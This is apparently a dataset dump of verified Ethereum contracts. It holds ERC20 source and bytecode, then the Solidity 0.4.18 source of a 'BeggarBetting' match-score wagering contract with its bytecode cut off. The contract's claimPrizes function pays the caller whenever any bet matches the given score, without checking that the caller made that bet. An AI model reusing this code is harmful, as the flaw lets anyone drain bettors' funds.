* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a6146102145780638da5cb5b1461021e57806395d89b411461023c5780639dc29fac1461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906117cd565b60405180910390f35b610132600480360381019061012d91906112aa565b6103b4565b60405161013f91906117b2565b60405180910390f35b6101506103d2565b60405161015d919061194f565b60405180910390f35b610180600480360381019061017b919061125b565b6103dc565b60405161018d91906117b2565b60405180910390f35b61019e6104dd565b6040516101ab919061196a565b60405180910390f35b6101ce60048036038101906101c991906112aa565b6104e6565b6040516101db91906117b2565b60405180910390f35b6101fe60048036038101906101f991906111f6565b610592565b60405161020b919061194f565b60405180910390f35b61021c6105db565b005b610226610715565b6040516102339190611797565b60405180910390f35b61024461073e565b60405161025191906117cd565b60405180910390f35b610274600480360381019061026f91906112aa565b6107d0565b005b610290600480360381019061028b91906112aa565b61085a565b60405161029d91906117b2565b60405180910390f35b6102c060048036038101906102bb91906112aa565b61094e565b6040516102cd91906117b2565b60405180910390f35b6102f060048036038101906102eb919061121f565b61096c565b6040516102fd919061194f565b60405180910390f35b610320600480360381019061031b91906111f6565b6109f3565b005b60606004805461033190611ab3565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611ab3565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b9c565b8484610ba4565b6001905092915050565b6000600354905090565b60006103e9848484610d6f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab9061188f565b60405180910390fd5b6104d1856104c0610b9c565b85846104cc91906119f7565b610ba4565b60019150509392505050565b60006012905090565b60006105886104f3610b9c565b848460026000610501610b9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058391906119a1565b610ba4565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105e3610b9c565b73ffffffffffffffffffffffffffffffffffffffff16610601610715565b73ffffffffffffffffffffffffffffffffffffffff1614610657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064e906118af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461074d90611ab3565b80601f016020809104026020016040519081016040528092919081815260200182805461077990611ab3565b80156107c65780601f1061079b576101008083540402835291602001916107c6565b820191906000526020600020905b8154815290600101906020018083116107a957829003601f168201915b5050505050905090565b6107d8610b9c565b73ffffffffffffffffffffffffffffffffffffffff166107f6610715565b73ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610843906118af565b60405180910390fd5b6108568282610ff1565b5050565b60008060026000610869610b9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d9061192f565b60405180910390fd5b610943610931610b9c565b85858461093e91906119f7565b610ba4565b600191505092915050565b600061096261095b610b9c565b8484610d6f565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109fb610b9c565b73ffffffffffffffffffffffffffffffffffffffff16610a19610715565b73ffffffffffffffffffffffffffffffffffffffff1614610a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a66906118af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad69061182f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b9061190f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b9061184f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d62919061194f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd6906118ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e46906117ef565b60405180910390fd5b610e5a8383836111c7565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed89061186f565b60405180910390fd5b8181610eed91906119f7565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7f91906119a1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe3919061194f565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611061576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611058906118cf565b60405180910390fd5b61106d826000836111c7565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb9061180f565b60405180910390fd5b818161110091906119f7565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461115591906119f7565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111ba919061194f565b60405180910390a3505050565b505050565b6000813590506111db81611b54565b92915050565b6000813590506111f081611b6b565b92915050565b60006020828403121561120857600080fd5b6000611216848285016111cc565b91505092915050565b6000806040838503121561123257600080fd5b6000611240858286016111cc565b9250506020611251858286016111cc565b9150509250929050565b60008060006060848603121561127057600080fd5b600061127e868287016111cc565b935050602061128f868287016111cc565b92505060406112a0868287016111e1565b9150509250925092565b600080604083850312156112bd57600080fd5b60006112cb858286016111cc565b92505060206112dc858286016111e1565b9150509250929050565b6112ef81611a2b565b82525050565b6112fe81611a3d565b82525050565b600061130f82611985565b6113198185611990565b9350611329818560208601611a80565b61133281611b43565b840191505092915050565b600061134a602383611990565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113b0602283611990565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611416602683611990565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061147c602283611990565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114e2602683611990565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611548602883611990565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115ae602083611990565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006115ee602183611990565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611654602583611990565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116ba602483611990565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611720602583611990565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61178281611a69565b82525050565b61179181611a73565b82525050565b60006020820190506117ac60008301846112e6565b92915050565b60006020820190506117c760008301846112f5565b92915050565b600060208201905081810360008301526117e78184611304565b905092915050565b600060208201905081810360008301526118088161133d565b9050919050565b60006020820190508181036000830152611828816113a3565b9050919050565b6000602082019050818103600083015261184881611409565b9050919050565b600060208201905081810360008301526118688161146f565b9050919050565b60006020820190508181036000830152611888816114d5565b9050919050565b600060208201905081810360008301526118a88161153b565b9050919050565b600060208201905081810360008301526118c8816115a1565b9050919050565b600060208201905081810360008301526118e8816115e1565b9050919050565b6000602082019050818103600083015261190881611647565b9050919050565b60006020820190508181036000830152611928816116ad565b9050919050565b6000602082019050818103600083015261194881611713565b9050919050565b60006020820190506119646000830184611779565b92915050565b600060208201905061197f6000830184611788565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119ac82611a69565b91506119b783611a69565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119ec576119eb611ae5565b5b828201905092915050565b6000611a0282611a69565b9150611a0d83611a69565b925082821015611a2057611a1f611ae5565b5b828203905092915050565b6000611a3682611a49565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a9e578082015181840152602081019050611a83565b83811115611aad576000848401525b50505050565b60006002820490506001821680611acb57607f821691505b60208210811415611adf57611ade611b14565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611b5d81611a2b565b8114611b6857600080fd5b50565b611b7481611a69565b8114611b7f57600080fd5b5056fea2646970667358221220d8c07ac51f26cb90a4a0bb393427f0dc58e30bb440a14ab444e801c51efc63d164736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 5,780 |
0x52F48B3363Df3260659B87218723cABd4D07eD10
|
pragma solidity ^0.4.18;
contract BeggarBetting {
struct MatchBettingInfo {
address better;
uint256 matchId;
uint homeTeamScore;
uint awayTeamScore;
uint bettingPrice;
}
struct BetterBettingInfo {
uint256 matchId;
uint homeTeamScore;
uint awayTeamScore;
uint bettingPrice;
bool isWinner;
bool hasReceivedPrize;
uint256 winningPrize;
uint numOfWinners;
uint numOfBetters;
}
address public owner;
mapping(uint256 => MatchBettingInfo[]) public matchBettingInfo;
mapping(address => BetterBettingInfo[]) public betterBettingInfo;
mapping(address => uint256) public betterBalance;
mapping(address => uint) public betterNumWinning;
uint numOfPanhandler;
uint numOfVagabond;
uint numOfTramp;
uint numOfMiddleClass;
/**
* Constructor function
*
* Create the owner of the contract on first initialization
*/
function BeggarBetting() {
owner = msg.sender;
}
/**
* Fallback function
*/
function () payable {}
/**
* Store betting data submitted by the user
*
* Send `msg.value` to this contract
*
* @param _matchId The matchId to store
* @param _homeTeamScore The home team score to store
* @param _awayTeamScore The away team score to store
* @param _bettingPrice The betting price to store
*/
function placeBet(uint256 _matchId, uint _homeTeamScore, uint _awayTeamScore, uint _bettingPrice) public payable returns (bool) {
require(_bettingPrice == msg.value); // Check ether send by sender is equal to bet amount
bool result = checkDuplicateMatchId(msg.sender, _matchId, _bettingPrice);
// Revert if the sender has already placed this bet
if (result) {
revert();
}
matchBettingInfo[_matchId].push(MatchBettingInfo(msg.sender, _matchId, _homeTeamScore, _awayTeamScore, _bettingPrice)); // Store this match's betting info
betterBettingInfo[msg.sender].push(BetterBettingInfo(_matchId, _homeTeamScore, _awayTeamScore, _bettingPrice, false, false, 0, 0, 0)); // Store this better's betting info
address(this).transfer(msg.value); // Send the user's betting price to this contract
return true;
}
/**
* Claim winning prize by the user
*
* Send `winningPrize` to 'msg.sender' from this contract
*
* @param _matchId The matchId to find winners
* @param _homeTeamScore The home team score to find matching score
* @param _awayTeamScore The away team score to find matching score
* @param _bettingPrice The betting price to find matching price
*/
function claimPrizes(uint256 _matchId, uint _homeTeamScore, uint _awayTeamScore, uint _bettingPrice) public returns (bool) {
uint totalNumBetters = matchBettingInfo[_matchId].length;
uint numOfBetters = 0;
uint numOfWinners = 0;
uint256 winningPrize = 0;
uint commissionToOwner = 0;
bool result = checkPrizeAlreadyReceived(msg.sender, _matchId, _bettingPrice);
// Revert if the sender has already received the prize
if (result) {
revert();
}
// Find matching scores among betters who betted for this match & price
for (uint j = 0; j < totalNumBetters; j++) {
if (matchBettingInfo[_matchId][j].bettingPrice == _bettingPrice) {
numOfBetters++;
if (matchBettingInfo[_matchId][j].homeTeamScore == _homeTeamScore && matchBettingInfo[_matchId][j].awayTeamScore == _awayTeamScore) {
numOfWinners++;
}
}
}
// msg.sender is the only winner, gets all the prize and gives a 7% commission to the owner
if (numOfWinners == 1) {
commissionToOwner = _bettingPrice * numOfBetters * 7 / 100;
betterBalance[msg.sender] = (_bettingPrice * numOfBetters) - commissionToOwner;
winningPrize = (_bettingPrice * numOfBetters) - commissionToOwner;
// One more winner, divide it equally and gives a 7% commission to the owner
} else if (numOfWinners > 1) {
commissionToOwner = ((_bettingPrice * numOfBetters) / numOfWinners) * 7 / 100;
betterBalance[msg.sender] = ((_bettingPrice * numOfBetters) / numOfWinners) - commissionToOwner;
winningPrize = ((_bettingPrice * numOfBetters) / numOfWinners) - commissionToOwner;
}
sendCommissionToOwner(commissionToOwner);
withdraw();
afterClaim(_matchId, _bettingPrice, winningPrize, numOfWinners, numOfBetters);
return true;
}
/**
* Send 7% commission to the contract owner
*
* Send `_commission` to `owner` from the winner's prize
*
* @param _commission The commission to be sent to the contract owner
*/
function sendCommissionToOwner(uint _commission) private {
require(address(this).balance >= _commission);
owner.transfer(_commission);
}
/**
* Send winning prize to the winner
*
* Send `balance` to `msg.sender` from the contract
*/
function withdraw() private {
uint256 balance = betterBalance[msg.sender];
require(address(this).balance >= balance);
betterBalance[msg.sender] -= balance;
msg.sender.transfer(balance);
}
/**
* Modify winner's betting information after receiving the prize
*
* Change hasReceivedPrize to true to process info panel
*
* @param _matchId The matchId to find msg.sender's info to modify
* @param _bettingPrice The betting price to find msg.sender's info to modify
* @param _winningPrize The winning prize to assign value to msg.sender's final betting info
* @param _numOfWinners The number of winners to assign value to msg.sender's final betting info
* @param _numOfBetters The number of betters to assign value to msg.sender's final betting info
*/
function afterClaim(uint256 _matchId, uint _bettingPrice, uint256 _winningPrize, uint _numOfWinners, uint _numOfBetters) private {
uint numOfBettingInfo = betterBettingInfo[msg.sender].length;
for (uint i = 0; i < numOfBettingInfo; i++) {
if (betterBettingInfo[msg.sender][i].matchId == _matchId && betterBettingInfo[msg.sender][i].bettingPrice == _bettingPrice) {
betterBettingInfo[msg.sender][i].hasReceivedPrize = true;
betterBettingInfo[msg.sender][i].winningPrize = _winningPrize;
betterBettingInfo[msg.sender][i].numOfWinners = _numOfWinners;
betterBettingInfo[msg.sender][i].numOfBetters = _numOfBetters;
}
}
betterNumWinning[msg.sender] += 1;
CheckPrivilegeAccomplishment(betterNumWinning[msg.sender]);
}
/**
* Find the msg.sender's number of winnings and increment the privilege if it matches
*
* Increment one of the privileges if numWinning matches
*/
function CheckPrivilegeAccomplishment(uint numWinning) public {
if (numWinning == 3) {
numOfPanhandler++;
}
if (numWinning == 8) {
numOfVagabond++;
}
if (numWinning == 15) {
numOfTramp++;
}
if (numWinning == 21) {
numOfMiddleClass++;
}
}
/**
* Prevent the user from submitting the same bet again
*
* Send `_commission` to `owner` from the winner's prize
*
* @param _better The address of the sender
* @param _matchId The matchId to find the msg.sender's betting info
* @param _bettingPrice The betting price to find the msg.sender's betting info
*/
function checkDuplicateMatchId(address _better, uint256 _matchId, uint _bettingPrice) public view returns (bool) {
uint numOfBetterBettingInfo = betterBettingInfo[_better].length;
for (uint i = 0; i < numOfBetterBettingInfo; i++) {
if (betterBettingInfo[_better][i].matchId == _matchId && betterBettingInfo[_better][i].bettingPrice == _bettingPrice) {
return true;
}
}
return false;
}
/**
* Add extra security to prevent the user from trying to receive the winning prize again
*
* @param _better The address of the sender
* @param _matchId The matchId to find the msg.sender's betting info
* @param _bettingPrice The betting price to find the msg.sender's betting info
*/
function checkPrizeAlreadyReceived(address _better, uint256 _matchId, uint _bettingPrice) public view returns (bool) {
uint numOfBetterBettingInfo = betterBettingInfo[_better].length;
// Find if the sender address has already received the prize
for (uint i = 0; i < numOfBetterBettingInfo; i++) {
if (betterBettingInfo[_better][i].matchId == _matchId && betterBettingInfo[_better][i].bettingPrice == _bettingPrice) {
if (betterBettingInfo[_better][i].hasReceivedPrize) {
return true;
}
}
}
return false;
}
/**
* Constant function to return the user's previous records
*
* @param _better The better's address to search betting info
*/
function getBetterBettingInfo(address _better) public view returns (uint256[], uint[], uint[], uint[]) {
uint length = betterBettingInfo[_better].length;
uint256[] memory matchId = new uint256[](length);
uint[] memory homeTeamScore = new uint[](length);
uint[] memory awayTeamScore = new uint[](length);
uint[] memory bettingPrice = new uint[](length);
for (uint i = 0; i < length; i++) {
matchId[i] = betterBettingInfo[_better][i].matchId;
homeTeamScore[i] = betterBettingInfo[_better][i].homeTeamScore;
awayTeamScore[i] = betterBettingInfo[_better][i].awayTeamScore;
bettingPrice[i] = betterBettingInfo[_better][i].bettingPrice;
}
return (matchId, homeTeamScore, awayTeamScore, bettingPrice);
}
/**
* Constant function to return the user's previous records
*
* @param _better The better's address to search betting info
*/
function getBetterBettingInfo2(address _better) public view returns (bool[], bool[], uint256[], uint[], uint[]) {
uint length = betterBettingInfo[_better].length;
bool[] memory isWinner = new bool[](length);
bool[] memory hasReceivedPrize = new bool[](length);
uint256[] memory winningPrize = new uint256[](length);
uint[] memory numOfWinners = new uint[](length);
uint[] memory numOfBetters = new uint[](length);
for (uint i = 0; i < length; i++) {
isWinner[i] = betterBettingInfo[_better][i].isWinner;
hasReceivedPrize[i] = betterBettingInfo[_better][i].hasReceivedPrize;
winningPrize[i] = betterBettingInfo[_better][i].winningPrize;
numOfWinners[i] = betterBettingInfo[_better][i].numOfWinners;
numOfBetters[i] = betterBettingInfo[_better][i].numOfBetters;
}
return (isWinner, hasReceivedPrize, winningPrize, numOfWinners, numOfBetters);
}
/**
* Load the number of participants for the same match and betting price
*
* @param _matchId The matchId to find number of participants
* @param _bettingPrice The betting price to find number of participants
*/
function getNumOfBettersForMatchAndPrice(uint _matchId, uint _bettingPrice) public view returns(uint) {
uint numOfBetters = matchBettingInfo[_matchId].length;
uint count = 0;
for (uint i = 0; i < numOfBetters; i++) {
if (matchBettingInfo[_matchId][i].bettingPrice == _bettingPrice) {
count++;
}
}
return count;
}
/**
* Get the number of winnings of the user
*
* @param _better The address of the user
*/
function getBetterNumOfWinnings(address _better) public view returns(uint) {
return betterNumWinning[_better];
}
/**
* Return the current number of accounts who have reached each privileges
*/
function getInfoPanel() public view returns(uint, uint, uint, uint) {
return (numOfPanhandler, numOfVagabond, numOfTramp, numOfMiddleClass);
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b62f0f3146100dd5780633683b44a1461012a5780634244e09f1461018d57806386027322146102f35780638da5cb5b146103405780638fbd4fa51461039557806390ba0e6c146103eb5780639b62d3ae1461042b578063c573902d146104c1578063c9a56efd146104ff578063ca3fc092146106ad578063d2225635146106d0578063de9a2b531461071d578063fc8b4a90146107a5578063fde6adb114610808575b005b34156100e857600080fd5b610114600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610853565b6040518082815260200191505060405180910390f35b341561013557600080fd5b610173600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001909190505061086b565b604051808215151515815260200191505060405180910390f35b341561019857600080fd5b6101c4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a24565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102135780820151818401526020810190506101f8565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561025557808201518184015260208101905061023a565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561029757808201518184015260208101905061027c565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102d95780820151818401526020810190506102be565b505050509050019850505050505050505060405180910390f35b34156102fe57600080fd5b61032a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d4c565b6040518082815260200191505060405180910390f35b341561034b57600080fd5b610353610d64565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103a057600080fd5b6103d16004808035906020019091908035906020019091908035906020019091908035906020019091905050610d89565b604051808215151515815260200191505060405180910390f35b34156103f657600080fd5b6104156004808035906020019091908035906020019091905050610fe1565b6040518082815260200191505060405180910390f35b341561043657600080fd5b61046b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061106c565b604051808a81526020018981526020018881526020018781526020018615151515815260200185151515158152602001848152602001838152602001828152602001995050505050505050505060405180910390f35b34156104cc57600080fd5b6104d46110f0565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561050a57600080fd5b610536600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611110565b60405180806020018060200180602001806020018060200186810386528b818151815260200191508051906020019060200280838360005b8381101561058957808201518184015260208101905061056e565b5050505090500186810385528a818151815260200191508051906020019060200280838360005b838110156105cb5780820151818401526020810190506105b0565b50505050905001868103845289818151815260200191508051906020019060200280838360005b8381101561060d5780820151818401526020810190506105f2565b50505050905001868103835288818151815260200191508051906020019060200280838360005b8381101561064f578082015181840152602081019050610634565b50505050905001868103825287818151815260200191508051906020019060200280838360005b83811015610691578082015181840152602081019050610676565b505050509050019a505050505050505050505060405180910390f35b34156106b857600080fd5b6106ce600480803590602001909190505061150f565b005b34156106db57600080fd5b610707600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611582565b6040518082815260200191505060405180910390f35b341561072857600080fd5b61074760048080359060200190919080359060200190919050506115cb565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b34156107b057600080fd5b6107ee600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001909190505061163d565b604051808215151515815260200191505060405180910390f35b6108396004808035906020019091908035906020019091908035906020019091908035906020019091905050611785565b604051808215151515815260200191505060405180910390f35b60046020528060005260406000206000915090505481565b6000806000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509150600090505b81811015610a165784600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561090f57fe5b90600052602060002090600802016000015414801561098a575083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561097657fe5b906000526020600020906008020160030154145b15610a0957600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156109db57fe5b906000526020600020906008020160040160019054906101000a900460ff1615610a085760019250610a1b565b5b80806001019150506108ba565b600092505b50509392505050565b610a2c611f0e565b610a34611f0e565b610a3c611f0e565b610a44611f0e565b6000610a4e611f0e565b610a56611f0e565b610a5e611f0e565b610a66611f0e565b6000600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050955085604051805910610abb5750595b9080825280602002602001820160405250945085604051805910610adc5750595b9080825280602002602001820160405250935085604051805910610afd5750595b9080825280602002602001820160405250925085604051805910610b1e5750595b90808252806020026020018201604052509150600090505b85811015610d3357600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481101515610b8a57fe5b9060005260206000209060080201600001548582815181101515610baa57fe5b9060200190602002018181525050600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481101515610c0457fe5b9060005260206000209060080201600101548482815181101515610c2457fe5b9060200190602002018181525050600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481101515610c7e57fe5b9060005260206000209060080201600201548382815181101515610c9e57fe5b9060200190602002018181525050600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481101515610cf857fe5b9060005260206000209060080201600301548282815181101515610d1857fe5b90602001906020020181815250508080600101915050610b36565b8484848499509950995099505050505050509193509193565b60036020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080600080600160008d815260200190815260200160002080549050965060009550600094506000935060009250610dc9338d8b61086b565b91508115610dd657600080fd5b600090505b86811015610eb05788600160008e815260200190815260200160002082815481101515610e0457fe5b9060005260206000209060050201600401541415610ea35785806001019650508a600160008e815260200190815260200160002082815481101515610e4557fe5b906000526020600020906005020160020154148015610e94575089600160008e815260200190815260200160002082815481101515610e8057fe5b906000526020600020906005020160030154145b15610ea25784806001019550505b5b8080600101915050610ddb565b6001851415610f215760646007878b0202811515610eca57fe5b04925082868a0203600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082868a02039350610fb0565b6001851115610faf576064600786888c02811515610f3b57fe5b0402811515610f4657fe5b0492508285878b02811515610f5757fe5b0403600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508285878b02811515610faa57fe5b040393505b5b610fb983611a1f565b610fc1611aa9565b610fce8c8a86888a611ba3565b6001975050505050505050949350505050565b6000806000806001600087815260200190815260200160002080549050925060009150600090505b828110156110605784600160008881526020019081526020016000208281548110151561103257fe5b90600052602060002090600502016004015414156110535781806001019250505b8080600101915050611009565b81935050505092915050565b60026020528160005260406000208181548110151561108757fe5b9060005260206000209060080201600091509150508060000154908060010154908060020154908060030154908060040160009054906101000a900460ff16908060040160019054906101000a900460ff16908060050154908060060154908060070154905089565b600080600080600554600654600754600854935093509350935090919293565b611118611f22565b611120611f22565b611128611f0e565b611130611f0e565b611138611f0e565b6000611142611f22565b61114a61